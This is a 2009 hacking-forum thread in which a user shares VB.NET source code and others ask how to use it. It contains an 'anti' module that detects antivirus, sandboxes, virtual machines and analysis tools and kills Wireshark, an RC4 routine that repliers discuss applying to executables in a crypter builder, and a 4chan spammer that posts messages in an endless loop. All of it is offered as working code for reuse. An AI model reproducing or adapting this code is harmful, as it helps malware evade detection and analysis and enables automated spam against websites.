

Forum:[Hack Forums](#)

Thread: [\[VB.NET\] Multiple Vb.net Sources \(All full of win\)](#)

Deathader - July 21, 2009, 4:36 pm

Yeah, this is my first post. Nice little board you have here :)

Here are some sources from some of my programs. I'll post more later.

Anti Module (Anti Kaspersky, Anubis, Sandboxie, Virtual Box, VMWare, Virtual PC, and WireShark)

Code Imports Microsoft.Win32

Module Antis

```
Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"
```

```
Dim regPID As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
Dim pid As Object = regPID.GetValue("ProductId")
Dim id As String = "76487-337-8429955-22614"
```

```
Public Function antiKAV() As Boolean
```

```
On Error GoTo error1
```

```
If Process.GetProcessesByName("avp").Length >= 1 Then
```

```
Return True
```

```
Else
```

```
Return False
```

```
End If
```

```
Exit Function
```

```
error1:
```

```
End
```

```
End Function
```

```
Private Sub AntiWireShark()
```

```
Dim ProcessList As System.Diagnostics.Process()
```

```
ProcessList = System.Diagnostics.Process.GetProcesses()
```

```
Dim Proc As System.Diagnostics.Process
```

```
Dim title As String
```

```
For Each Proc In ProcessList
```

```
title = Proc.MainWindowTitle
```

```
If (String.Equals(title, "The Wireshark Network Analyzer")) Then
```

```
Proc.Kill()
```

```

        End If
    Next
End Sub
Public Function antiSandboxie() As Boolean
    On Error GoTo error1
    If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
        Return True
    Else
        Return False
    End If
    Exit Function
error1:
    End
End Function

```

```

Public Function antiAnubis() As Boolean
    On Error GoTo error1
    Dim folder As String = Application.StartupPath
    Dim getFile As String = folder & "\sample.exe"
    If Application.ExecutablePath = getFile Then
        Return True
    Else
        Return False
    End If
    Exit Function
error1:
    End
End Function

```

```

Public Function antiAnubis2() As Boolean
    On Error GoTo error1
    If pid = id Then
        Return True
    Else
        Return False
    End If
    Exit Function
error1:
    End
End Function

```

```

Public Function AntiVirtualBox() As Boolean
    On Error GoTo error1
    Call getDevices()

    Select Case Grafikadapter
        Case "VirtualBox Graphics Adapter"
            Return True
        Case Else
            Return False
    End Select
    Exit Function

```

```

error1:
    End
End Function

Public Function AntiVmWare() As Boolean
    On Error GoTo error1
    Call getDevices()

    Select Case Grafikadapter
        Case "VMware SVGA II"
            Return True
        Case Else
            Return False
    End Select
Exit Function
error1:
    End
End Function

Public Function AntiVirtualPC() As Boolean
    On Error GoTo error1
    Call getDevices()

    Select Case Grafikadapter
        Case "VM Additions S3 Trio32/64"
            Return True
        Case Else
            Return False
    End Select
Exit Function
error1:
    End
End Function

Private Sub getDevices()
    On Error GoTo error1
    Devices = GetObject("winmgmts:").ExecQuery(RegionA)
    For Each AdaptList In Devices
        Grafikadapter = AdaptList.Description
    Next
Exit Sub
error1:
    End
End Sub
End Module

```

RC4 Encryption:

```

Code Public Function rc4(ByVal message As String, ByVal password As String) As String

    Dim i As Integer = 0
    Dim j As Integer = 0
    Dim cipher As New StringBuilder

```

```

Dim returnCipher As String = String.Empty

Dim sbbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}

Dim intLength As Integer = password.Length

Dim a As Integer = 0
While a <= 255

    Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

    key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
    sbbox(a) = a
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While

Dim x As Integer = 0

Dim b As Integer = 0
While b <= 255
    x = (x + sbbox(b) + key(b)) Mod 256
    Dim tempSwap As Integer = sbbox(b)
    sbbox(b) = sbbox(x)
    sbbox(x) = tempSwap
    System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While

a = 1

While a <= message.Length

    Dim itmp As Integer = 0

    i = (i + 1) Mod 256
    j = (j + sbbox(i)) Mod 256
    itmp = sbbox(i)
    sbbox(i) = sbbox(j)
    sbbox(j) = itmp

    Dim k As Integer = sbbox((sbbox(i) + sbbox(j)) Mod 256)

    Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)

    itmp = Asc(ctmp)

    Dim cipherby As Integer = itmp Xor k

    cipher.Append(Chr(cipherby))
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While

returnCipher = cipher.ToString

```

```
cipher.Length = 0
```

```
Return returnCipher
```

```
End Function
```

GetBetweenAll (Used for parsing lists.. dorks as an example :))

```
Code Public Function GBA(ByRef strSource As String, ByRef strStart As String, ByRef strEnd As String, _  
                        ByVal lstAdd As ListBox, Optional ByRef startPos As Integer = 0) As String  
    Dim iPos As Integer, iEnd As Integer, strResult As String, lenStart As Integer = strStart.Length  
  
    Do Until iPos = -1  
        strResult = String.Empty  
        iPos = strSource.IndexOf(strStart, startPos)  
        iEnd = strSource.IndexOf(strEnd, iPos + lenStart)  
        If iPos <> -1 AndAlso iEnd <> -1 Then  
            strResult = strSource.Substring(iPos + lenStart, iEnd - (iPos + lenStart))  
            lstAdd.Items.Add(strResult)  
            startPos = iPos + lenStart  
        End If  
    Loop  
  
    GBA = ""  
End Function
```

4Chan Spammer:

```
Code Imports System.Net  
Imports System.Text  
Imports System.Threading
```

```
Module _4chan  
    Public Function RandomNumber(ByVal MaxNumber As Integer, _  
Optional ByVal MinNumber As Integer = 0) As Integer  
  
        'initialize random number generator  
        Dim r As New Random(System.DateTime.Now.Millisecond)  
  
        'if passed incorrect arguments, swap them  
        'can also throw exception or return 0  
  
        If MinNumber > MaxNumber Then  
            Dim t As Integer = MinNumber  
            MinNumber = MaxNumber  
            MaxNumber = t  
        End If  
  
        Return r.Next(MinNumber, MaxNumber)  
  
End Function  
Dim q As String = Chr(34)
```

```

Private Sub chanspam(ByVal msg As String)
    Do Until 1 = 2
        post(msg)
        Threading.Thread.sleep(10000)
    Loop
End Sub
Public Sub postforever(ByVal msg As String)
    Dim threadx As Thread = New Threading.Thread(New ParameterizedThreadStart(AddressOf
chanspam))
    threadx.Start(msg)

    End Sub
Public Function post(ByVal txtmsg As String) As String

retry:
    Dim web As New WebClient()
    Dim templist As New ListBox
    Dim postid As String
    Dim strHTML As String = web.DownloadString("http://img.4chan.org/b/imgboard.html")

    'search1 = &nbsp; [<a href="
    'search2 = ">
    GBA(strHTML, "&nbsp; [<a href=" & q, q & ">", templist)

    If templist.Items.Count = 0 Then
        GoTo retry
    End If

retry2:

    Dim randomline As Integer = RandomNumber(1, templist.Items.Count.ToString)
    ' strHTML = web.DownloadString("http://www.img.4chan.org/b/" &
templist.Items.Item(randomline).ToString)
    postid = GetBetween(templist.Items.Item(randomline).ToString, "res/", ".", 0)

    web.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
    Dim _
        d As Byte() = _
            Encoding.ASCII.GetBytes("com=" & txtmsg & "&resto=" & postid &
"&mode=regist&MAX_FILE_SIZE=2097152&sub=&pwd=Mfu81wdN&upfile=&filename=")
    Dim res As Byte() = web.UploadData("http://dat.4chan.org/b/imgboard.php", "POST", d)
    strHTML = (Encoding.ASCII.GetString(res))

    Return postid
End Function
End Module

GetBetween (Used for parsing)

Code Public Function GetBetween(ByRef strSource As String, ByRef strStart As String, ByRef
strEnd As String, _
    Optional ByRef startPos As Integer = 0) As String
    Dim iPos As Integer, iEnd As Integer, lenStart As Integer = strStart.Length

```

Dim strResult As String

```
strResult = String.Empty
iPos = strSource.IndexOf(strStart, startPos)
iEnd = strSource.IndexOf(strEnd, iPos + lenStart)
If iPos <> -1 AndAlso iEnd <> -1 Then
    strResult = strSource.Substring(iPos + lenStart, iEnd - (iPos + lenStart))
End If
Return strResult
End Function
```

That's it for now. I'll post some later. And if anyone needs something, PM me ;)

Vaqxine - July 21, 2009, 4:40 pm

Yay, more antis!

Thanks for sharing :D keep it up :3

Hm, is there any way to configure that RC4 code to encrypt executables?
Or do you read the bytes, encrypt them and then re-compile? It's confusing me :3

Deathader - July 21, 2009, 4:48 pm

(Jul 21, 2009 04:40 PM)Vaqxine Wrote: [\[CITE\]](#) Yay, more antis!

Thanks for sharing :D keep it up :3

Hm, is there any way to configure that RC4 code to encrypt executables?
Or do you read the bytes, encrypt them and then re-compile? It's confusing me :3
Is there a builder example on the board?

If not, I'll throw one together and post it, including how to use the rc4 encryption ;)

Soul Collector - July 21, 2009, 4:55 pm

this is nice man :) thnx

Xx1232shooterxX - July 21, 2009, 5:02 pm

I just realized how noob I was. I don't know what any of these do. But thanks for the share.

codeak - July 21, 2009, 5:03 pm

(Jul 21, 2009 04:48 PM)Deathader Wrote: [\[CITE\]](#) Is there a builder example on the board?

If not, I'll throw one together and post it, including how to use the rc4 encryption ;)Here is a builder example:

<https://hackforums.net/showthread.php?tid=97879>

I'd like to know how as well.

codeak - July 21, 2009, 10:39 pm

How would you go about setting up the 4chan source?

Deathader - July 22, 2009, 12:47 am

(Jul 21, 2009 10:39 PM)codeak Wrote: [\[CITE\]](#) How would you go about setting up the 4chan source?
Simple. The source does EVERYTHING for you.

Just call

Code PostForever("Your Message")

It will post your message over and over again. You can use the Code Post("msg") sub if you just want to post one though ;)

codeak - July 22, 2009, 9:56 am

Why aren't GBA and GetBetween declared?

Deathader - July 22, 2009, 9:58 am

(Jul 22, 2009 09:56 AM)codeak Wrote: [\[CITE\]](#) Why aren't GBA and GetBetween declared? What do you mean... Are they set to public?

codeak - July 22, 2009, 10:28 am

Yes, whats telling them what they are though? Do I have to download a new reference maybe?

Deathader - July 22, 2009, 10:30 am

(Jul 22, 2009 10:28 AM)codeak Wrote: [\[CITE\]](#) Yes, whats telling them what they are though? Do I have to download a new reference maybe?

Uhh.. Just paste the code into your project > ____>

NICEWEBSITE - July 22, 2009, 2:09 pm

Deathader

Thanx for Sources ???

I hope that you can make more vb.net tutorials.

enacje - July 30, 2009, 6:44 am

Is it me or does the anti module nothing apart from closing wireshark. I assume there is something missing where all these returns go to? ;)

Cara - July 30, 2009, 9:22 am

Yes at least the anti or detecting functions are more useful's then vaqxine's.

I might use these, but seeing how it's just for detection... and not actually anti I'm not sure how to do work arounds vmware/vmbox/etc

Deathader - July 30, 2009, 9:23 am

(Jul 30, 2009 06:44 AM)enacje Wrote: [\[CITE\]](#) Is it me or does the anti module nothing apart from closing wireshark. I assume there is something missing where all these returns go to? ;)
It's you.

Code Public Function antiKAV() As Boolean

On Error GoTo error1

If Process.GetProcessesByName("avp").Length >= 1 Then

Return True

Else

Return False

End If

Exit Function

error1:

End

End Function

That returns true if Kaspersky is running. I made them like this so you could use them how you want.

Eg.

```
Code if AntiKAV = true then End
Code if AntiKav = true then
do until antikav = false
threading.thread.sleep(60000)
application.doEvents
loop
```

huso69 - September 8, 2009, 8:51 am

hey nice but can you tell me what all this are used for ?

? **SpideR** ? - September 8, 2009, 9:00 am

thanks ripped abit out of your antis for sandbox :)

The_KGB - September 8, 2009, 1:16 pm

Thanks for the source!

newbie223 - October 13, 2009, 9:09 pm

hey mine has a prob
it starts at Module Anties and then they say theres an error dere

Liindgreen - October 14, 2009, 12:07 pm

I have the same problem like newbie223!
please, help me!

scopebal99 - November 21, 2009, 11:10 am

tried to compile 4chan spammer on sharpdevelop but got 5 errors:

Build Log:

Code Build started.

Compiling helloscope

Error BC30420: 'Sub Main' was not found in 'helloscope'.

C:\Users\scope\Documents\SharpDevelop Projects\helloscope\Empty1.vb(42,0) : Error BC30002:
Type 'ListBox' is not defined.

C:\Users\scope\Documents\SharpDevelop Projects\helloscope\Empty1.vb(48,0) : Error BC30451:
Name 'GBA' is not declared.

C:\Users\scope\Documents\SharpDevelop Projects\helloscope\Empty1.vb(58,0) : Error BC30451:
Name 'GetBetween' is not declared.

Build failed. (00:00:00.1260000)

Can anyone help me please ?

scopebal99 - November 22, 2009, 3:22 am

(Nov 21, 2009 12:10 PM)scopebal99 Wrote: [\[CITE\]](#) tried to compile 4chan spammer on sharpdevelop but got 5 errors:

Build Log:

Code Build started.

Compiling helloscope

Error BC30420: 'Sub Main' was not found in 'helloscope'.

C:\Users\scope\Documents\SharpDevelop Projects\helloscope\Empty1.vb(42,0) : Error BC30002: Type 'ListBox' is not defined.
C:\Users\scope\Documents\SharpDevelop Projects\helloscope\Empty1.vb(48,0) : Error BC30451: Name 'GBA' is not declared.
C:\Users\scope\Documents\SharpDevelop Projects\helloscope\Empty1.vb(58,0) : Error BC30451: Name 'GetBetween' is not declared.
Build failed. (00:00:00.1260000)
Can anyone help me please ?
Anyone ? Please ?

Viperx28 - November 22, 2009, 6:05 am

(Jul 21, 2009 04:55 PM)Soul Collector Wrote: [\[CITE\]](#) this is nice man :) thnx

scopebal99 - November 23, 2009, 11:45 am

(Nov 22, 2009 04:22 AM)scopebal99 Wrote: [\[CITE\]](#) Anyone ? Please ?
Bump for me :(

Montana" - December 27, 2009, 4:46 am

Nice post gonna read them all I think so:P

superant10000 - January 10, 2010, 5:47 am

Damn 4chan spammer rofl.

?LIT? \$ØLDI?R - June 30, 2010, 2:06 pm

great tut,thx,this is really cool

shoaibbi - July 2, 2010, 5:45 am

nice collection you have share thats really kool post..thanks alot

ananui81 - September 7, 2010, 2:57 pm

Nice codes .. Thanks man ..

KINGz - October 26, 2010, 11:50 am

great job dude keep it up

Devilzhangout - October 26, 2010, 12:16 pm

nice post thanks for useful thread

phoobos - November 18, 2010, 9:04 am

good code helpfull for me ...thanks

Joey K - December 4, 2010, 11:26 am

Shame 4chan has captcha now, or that source would be great.